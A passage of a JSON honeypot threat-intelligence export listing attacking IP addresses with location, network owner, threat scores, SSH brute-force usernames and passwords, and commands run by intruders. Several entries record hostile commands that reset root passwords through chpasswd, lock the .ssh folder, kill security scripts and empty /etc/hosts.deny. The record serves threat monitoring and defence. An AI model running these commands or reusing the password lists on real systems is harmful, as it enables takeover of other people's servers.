        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T12:39:27.626000+00:00",
        "last_seen_30d": "2026-04-11T12:40:35.879000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "39.113.77.97": {
      "attack_count": 2,
      "first_seen": "2026-04-20T22:52:37.224Z",
      "last_seen": "2026-04-20T22:52:50.895Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Nam-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-20T22:52:37.224000+00:00",
        "last_seen_30d": "2026-04-20T22:53:52.055000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.86.250.191": {
      "attack_count": 2,
      "first_seen": "2026-04-07T05:53:23.963Z",
      "last_seen": "2026-04-07T05:53:24.091Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T05:45:11.617000+00:00",
        "last_seen_30d": "2026-04-07T05:54:34.242000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 2
      }
    },
    "5.145.204.67": {
      "attack_count": 2,
      "first_seen": "2026-04-26T20:00:00.953Z",
      "last_seen": "2026-04-26T20:00:14.305Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Smolensk",
      "asn": 44265,
      "as_org": "OOO Smoltelecom",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-26T20:00:00.953000+00:00",
        "last_seen_30d": "2026-04-26T20:01:23.272000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.80.163.7": {
      "attack_count": 2,
      "first_seen": "2026-04-12T11:03:28.353Z",
      "last_seen": "2026-04-12T11:03:41.603Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Wellington",
      "asn": 2856,
      "as_org": "British Telecommunications PLC",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T11:03:28.353000+00:00",
        "last_seen_30d": "2026-04-12T11:04:48.279000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.173.111.170": {
      "attack_count": 2,
      "first_seen": "2026-04-29T04:11:30.300Z",
      "last_seen": "2026-04-29T04:11:30.301Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 42.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 7.0,
        "persistence": 17.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 21,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-09T05:58:16+00:00",
        "last_seen_30d": "2026-04-29T04:12:36.198000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2,
        "Honeytrap": 1
      }
    },
    "64.227.105.194": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:17:33.800Z",
      "last_seen": "2026-04-30T21:18:04.533Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T21:17:33.800000+00:00",
        "last_seen_30d": "2026-04-30T21:19:11.792000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "72.255.33.69": {
      "attack_count": 2,
      "first_seen": "2026-04-19T17:56:05.505Z",
      "last_seen": "2026-04-19T17:56:17.796Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-19T17:56:05.505000+00:00",
        "last_seen_30d": "2026-04-19T17:57:23.524000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "84.10.16.170": {
      "attack_count": 2,
      "first_seen": "2026-04-23T11:00:24.282Z",
      "last_seen": "2026-04-23T11:00:37.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 9141,
      "as_org": "Play",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T11:00:24.282000+00:00",
        "last_seen_30d": "2026-04-23T11:01:39.053000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.231.89.245": {
      "attack_count": 2,
      "first_seen": "2026-04-04T00:14:00.991Z",
      "last_seen": "2026-04-04T00:14:11.311Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 79.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 87,
        "days_active_30d": 30,
        "ports_targeted_30d": 34,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T14:03:00+00:00",
        "last_seen_30d": "2026-04-30T17:21:44.219000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 51,
        "Honeytrap": 34,
        "Cowrie": 2
      }
    },
    "95.54.35.206": {
      "attack_count": 2,
      "first_seen": "2026-04-09T03:54:52.773Z",
      "last_seen": "2026-04-09T03:55:07.242Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Gatchina",
      "asn": 12389,
      "as_org": "Rostelecom",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T03:54:52.773000+00:00",
        "last_seen_30d": "2026-04-09T03:56:12.631000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "94.26.106.229": {
      "attack_count": 2046,
      "first_seen": "2026-04-23T17:20:13.190Z",
      "last_seen": "2026-04-28T14:03:41.753Z",
      "sessions": 408,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "test",
        "admin",
        "user",
        "ftpuser",
        "deployer",
        "minecraft",
        "student",
        "alex",
        "ali",
        "bob",
        "debian",
        "dev",
        "hadoop",
        "odoo",
        "aaa",
        "administrator",
        "bot"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "12345",
        "12345678",
        "P@ssw0rd",
        "root",
        "1",
        "1111",
        "1234",
        "admin",
        "1qaz@WSX",
        "p@ssw0rd",
        "!QAZ2wsx3edc4rfv",
        "0000",
        "102030",
        "111111111",
        "120989",
        "123123123",
        "12345@"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kriftel",
      "asn": 215607,
      "as_org": "dataforest GmbH",
      "threat_score": 43.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 2970,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-23T17:20:13.190000+00:00",
        "last_seen_30d": "2026-04-28T14:05:43.011000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2046,
        "Suricata": 924
      }
    },
    "116.99.172.61": {
      "attack_count": 452,
      "first_seen": "2026-04-25T13:01:18.851Z",
      "last_seen": "2026-04-25T13:39:43.492Z",
      "sessions": 90,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "ftp",
        "ubnt",
        "*****",
        "1234",
        "123456",
        "ace",
        "admian",
        "anton",
        "ashish",
        "auto",
        "backup",
        "brenda",
        "btf",
        "carol",
        "cf1c22",
        "config",
        "cpanel"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "admin",
        "12345",
        "password",
        "*****",
        "039715582364317",
        "0987654321",
        "1",
        "111111",
        "112233",
        "123456789",
        "1234567890%*()",
        "321start",
        "72b1bd75ac87852a",
        "91482d",
        "?",
        "P@ssw0rd",
        "abc123",
        "ace"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 35.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 646,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T13:01:18.851000+00:00",
        "last_seen_30d": "2026-04-25T13:40:48.729000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 452,
        "Suricata": 194
      }
    },
    "217.160.58.240": {
      "attack_count": 332,
      "first_seen": "2026-04-12T13:39:36.156Z",
      "last_seen": "2026-04-12T14:22:00.140Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "abc",
        "claude",
        "oracle",
        "test",
        "ubuntu",
        "admin",
        "bot",
        "caja01",
        "deploy",
        "frappe",
        "odoo",
        "system",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234",
        "123zxcZXC",
        "1qaz2wsx!@",
        "2wsx3edc$rfv",
        "Admin8",
        "Claude31",
        "Master123!",
        "Odoo@123",
        "Root321$",
        "User02",
        "Vps@2026",
        "bot13!",
        "demon",
        "frappe13!",
        "molina5651",
        "oracle18!",
        "postgres123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234\\n0MIMEhAgUO7I\\n0MIMEhAgUO7I\\n\"|passwd",
        "echo \"Claude31\\n9QFxx3FtZfb5\\n9QFxx3FtZfb5\\n\"|passwd",
        "echo \"oracle18!\\nRqk47HWEtI5f\\nRqk47HWEtI5f\\n\"|passwd",
        "echo -e \"1234\\n0MIMEhAgUO7I\\n0MIMEhAgUO7I\"|passwd|bash",
        "echo -e \"Claude31\\n9QFxx3FtZfb5\\n9QFxx3FtZfb5\"|passwd|bash",
        "echo -e \"oracle18!\\nRqk47HWEtI5f\\nRqk47HWEtI5f\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 403,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T13:39:36.156000+00:00",
        "last_seen_30d": "2026-04-12T14:23:02.291000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 332,
        "Suricata": 71
      }
    },
    "128.199.82.37": {
      "attack_count": 330,
      "first_seen": "2026-04-17T02:49:08.797Z",
      "last_seen": "2026-04-17T03:33:12.444Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "odoo",
        "user0",
        "admin",
        "admins",
        "ca",
        "deploy",
        "frappe",
        "postgres",
        "server",
        "test",
        "tester",
        "ts3user",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "123456",
        "12345678",
        "1qazxsw2",
        "1qazxsw23edc",
        "Abcd12!!",
        "Admin!123",
        "Changeme_123",
        "Gr123456@",
        "Lky123456",
        "Odoo17!",
        "Q1w2e3r4@",
        "admins",
        "benjamin",
        "depl0y",
        "frappe@",
        "odoo28"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qazxsw2\\nt8hzgBn13NJk\\nt8hzgBn13NJk\\n\"|passwd",
        "echo \"root:WhaL65SdmDWN\"|chpasswd|bash",
        "echo \"root:lSzWVRfUbC0N\"|chpasswd|bash",
        "echo -e \"1qazxsw2\\nt8hzgBn13NJk\\nt8hzgBn13NJk\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 401,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T02:49:08.797000+00:00",
        "last_seen_30d": "2026-04-17T03:34:13.872000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 330,
        "Suricata": 71
      }
    },
    "185.35.235.226": {
      "attack_count": 294,
      "first_seen": "2026-04-02T00:10:26.406Z",
      "last_seen": "2026-04-02T01:13:36.533Z",
      "sessions": 24,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1233218613",
        "123456781",
        "60606060",
        "Google.com",
        "Letmein@1",
        "Qweasd.123",
        "Root1234%^&*",
        "aa147258369",
        "admini",
        "asdfzxcv1234",
        "faber",
        "j123456",
        "master@123",
        "release",
        "temppass123",
        "vpn123",
        "vps@123",
        "zaq1xsw2cde3"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:Mem1rW94X326\"|chpasswd|bash",
        "echo \"root:nuldzeLT2RZj\"|chpasswd|bash",
        "echo \"root:wrKCLoY4WEol\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Kirchlinteln",
      "asn": 59790,
      "as_org": "Marco Bungalski GmbH",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 352,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T00:10:26.406000+00:00",
        "last_seen_30d": "2026-04-02T01:14:46.326000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 294,
        "Suricata": 58
      }
    },
    "175.107.32.186": {
      "attack_count": 286,
      "first_seen": "2026-04-28T23:17:15.055Z",
      "last_seen": "2026-04-28T23:51:01.583Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "root",
        "345gs5662d34",
        "admin",
        "guest",
        "test3",
        "testuser",
        "user",
        "ali",
        "appadmin",
        "botuser",
        "gitlab",
        "info",
        "mcserver",
        "mumbleserver",
        "sftpuser",
        "test",
        "test1",
        "test5",
        "wwwuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123123",
        "1234qwer",
        "123qwe456",
        "222",
        "Aa1234567",
        "P@ssw0rd3",
        "abc123@",
        "admin",
        "admin123",
        "administrateur",
        "ali@123",
        "appadmin123",
        "botuser",
        "gitlab123",
        "live",
        "mcserver",
        "motorola"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1234qwer\\nTJIQ2RncoJdH\\nTJIQ2RncoJdH\\n\"|passwd",
        "echo \"admin\\nMmiIqf4ld4Ov\\nMmiIqf4ld4Ov\\n\"|passwd",
        "echo -e \"1234qwer\\nTJIQ2RncoJdH\\nTJIQ2RncoJdH\"|passwd|bash",
        "echo -e \"admin\\nMmiIqf4ld4Ov\\nMmiIqf4ld4Ov\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Rawalpindi",
      "asn": 23888,
      "as_org": "National Telecommunication Corporation HQ",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 361,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T23:17:15.055000+00:00",
        "last_seen_30d": "2026-04-28T23:52:10.050000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 286,
        "Suricata": 75
      }
    },
    "116.193.191.104": {
      "attack_count": 263,
      "first_seen": "2026-04-09T23:52:19.158Z",
      "last_seen": "2026-04-10T00:39:12.897Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "n8n",
        "ubuntu",
        "user",
        "user03",
        "ali",
        "deploy",
        "es",
        "hduser",
        "minecraft",
        "oracle",
        "pzuser",
        "server",
        "steam",
        "u1"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "root",
        "123789",
        "N8N",
        "Password09!",
        "Qazwsx12345@123",
        "Root.123",
        "Root1111111!!",
        "Server14!",
        "User26",
        "XXbb123",
        "aA123456.",
        "ali12",
        "centos",
        "frappe10",
        "minecr@ft",
        "passwd",
        "pzuserpass"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"N8N\\nY604tIDRhWlQ\\nY604tIDRhWlQ\\n\"|passwd",
        "echo \"user031\\nsdV6il6qAV7F\\nsdV6il6qAV7F\\n\"|passwd",
        "echo -e \"N8N\\nY604tIDRhWlQ\\nY604tIDRhWlQ\"|passwd|bash",
        "echo -e \"user031\\nsdV6il6qAV7F\\nsdV6il6qAV7F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 13.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.2,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 330,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T23:52:19.158000+00:00",
        "last_seen_30d": "2026-04-10T00:40:21.311000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 263,
        "Suricata": 67
      }
    },
    "172.211.56.214": {
      "attack_count": 263,
      "first_seen": "2026-04-12T12:17:10.979Z",
      "last_seen": "2026-04-12T12:59:03.286Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "oracle",
        "ubuntu",
        "admin",
        "claude",
        "cloud",
        "dev",
        "git",
        "joao",
        "pentest",
        "soksuser",
        "steam",
        "tania",
        "test",
        "test2"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "1234567",
        "123456789",
        "1Qaz2wsx",
        "Ac@123456",
        "Ch123456",
        "Claude26",
        "P@ss2025!",
        "Pa$$word",
        "Qazwsx123123@",
        "Root001@123",
        "Root4321",
        "Steam!2026",
        "Ubuntu2026",
        "ZAQ!..",
        "ZAQ!xsw2",
        "a",
